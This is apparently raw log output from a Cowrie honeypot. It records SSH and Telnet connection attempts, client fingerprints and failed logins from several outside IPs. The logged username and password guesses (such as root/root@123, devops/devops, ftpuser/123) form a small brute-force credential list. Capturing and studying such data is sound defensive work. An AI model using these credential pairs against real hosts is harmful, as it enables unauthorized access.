{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:22.604046Z","src_ip":"176.65.139.103","session":"ab0ed316c204","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:23.702363Z","src_ip":"176.65.139.103","session":"ab0ed316c204","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41370,"dst_ip":"10.17.0.5","dst_port":22,"session":"68413b1fc374","protocol":"ssh","message":"New connection: 176.65.139.103:41370 (10.17.0.5:22) [session: 68413b1fc374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:28.309253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:28.322398Z","src_ip":"176.65.139.103","session":"68413b1fc374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:28.393911Z","src_ip":"176.65.139.103","session":"68413b1fc374","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:28.729055Z","src_ip":"176.65.139.103","session":"68413b1fc374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":37532,"dst_ip":"159.203.135.109","dst_port":23,"session":"16228c49656f","protocol":"telnet","message":"New connection: 161.97.124.15:37532 (159.203.135.109:23) [session: 16228c49656f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:28.993288Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:29.901793Z","src_ip":"176.65.139.103","session":"68413b1fc374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53348,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cc204f592db","protocol":"ssh","message":"New connection: 176.65.139.103:53348 (10.17.0.5:22) [session: 9cc204f592db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:34.559193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:34.563814Z","src_ip":"176.65.139.103","session":"9cc204f592db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:34.649010Z","src_ip":"176.65.139.103","session":"9cc204f592db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:34.908350Z","src_ip":"176.65.139.103","session":"9cc204f592db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:36.104851Z","src_ip":"176.65.139.103","session":"9cc204f592db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54302,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c87b730596a","protocol":"ssh","message":"New connection: 159.203.92.129:54302 (159.203.135.109:22) [session: 4c87b730596a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:36.266576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:36.271301Z","src_ip":"159.203.92.129","session":"4c87b730596a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:36.292497Z","src_ip":"159.203.92.129","session":"4c87b730596a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123321","message":"login attempt [ansible/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:36.303746Z","src_ip":"159.203.92.129","session":"4c87b730596a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:37.310810Z","src_ip":"159.203.92.129","session":"4c87b730596a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":57463,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1ff3a90ef77","protocol":"ssh","message":"New connection: 52.231.220.210:57463 (10.17.0.5:22) [session: b1ff3a90ef77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:37.994049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:37.999339Z","src_ip":"52.231.220.210","session":"b1ff3a90ef77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:38.191507Z","src_ip":"52.231.220.210","session":"b1ff3a90ef77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwertyuiop","message":"login attempt [ftpuser/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:38.971060Z","src_ip":"52.231.220.210","session":"b1ff3a90ef77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:40.168196Z","src_ip":"52.231.220.210","session":"b1ff3a90ef77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53356,"dst_ip":"10.17.0.5","dst_port":22,"session":"5581f40c8e05","protocol":"ssh","message":"New connection: 176.65.139.103:53356 (10.17.0.5:22) [session: 5581f40c8e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:41.041821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:41.046078Z","src_ip":"176.65.139.103","session":"5581f40c8e05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:41.127945Z","src_ip":"176.65.139.103","session":"5581f40c8e05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:41.382205Z","src_ip":"176.65.139.103","session":"5581f40c8e05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:42.465706Z","src_ip":"176.65.139.103","session":"5581f40c8e05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33020,"dst_ip":"10.17.0.5","dst_port":22,"session":"de90363438cc","protocol":"ssh","message":"New connection: 176.65.139.103:33020 (10.17.0.5:22) [session: de90363438cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:47.305955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:47.310436Z","src_ip":"176.65.139.103","session":"de90363438cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:47.396910Z","src_ip":"176.65.139.103","session":"de90363438cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:47.796774Z","src_ip":"176.65.139.103","session":"de90363438cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:48.944468Z","src_ip":"176.65.139.103","session":"de90363438cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":51510,"dst_ip":"159.203.135.109","dst_port":23,"session":"a940bf77ab0b","protocol":"telnet","message":"New connection: 161.97.124.15:51510 (159.203.135.109:23) [session: a940bf77ab0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:50.596405Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50784,"dst_ip":"10.17.0.5","dst_port":22,"session":"5485ad39f1af","protocol":"ssh","message":"New connection: 176.65.139.103:50784 (10.17.0.5:22) [session: 5485ad39f1af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:54.274562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:54.390476Z","src_ip":"176.65.139.103","session":"5485ad39f1af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:54.394042Z","src_ip":"176.65.139.103","session":"5485ad39f1af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:54.784535Z","src_ip":"176.65.139.103","session":"5485ad39f1af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:01:55.880941Z","src_ip":"176.65.139.103","session":"5485ad39f1af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.055150270462036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:00.048358Z","src_ip":"161.97.124.15","session":"16228c49656f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50790,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d4850a1235e","protocol":"ssh","message":"New connection: 176.65.139.103:50790 (10.17.0.5:22) [session: 1d4850a1235e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:01.498836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:01.504278Z","src_ip":"176.65.139.103","session":"1d4850a1235e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:02:01.587501Z","src_ip":"176.65.139.103","session":"1d4850a1235e","protocol":"ssh"}
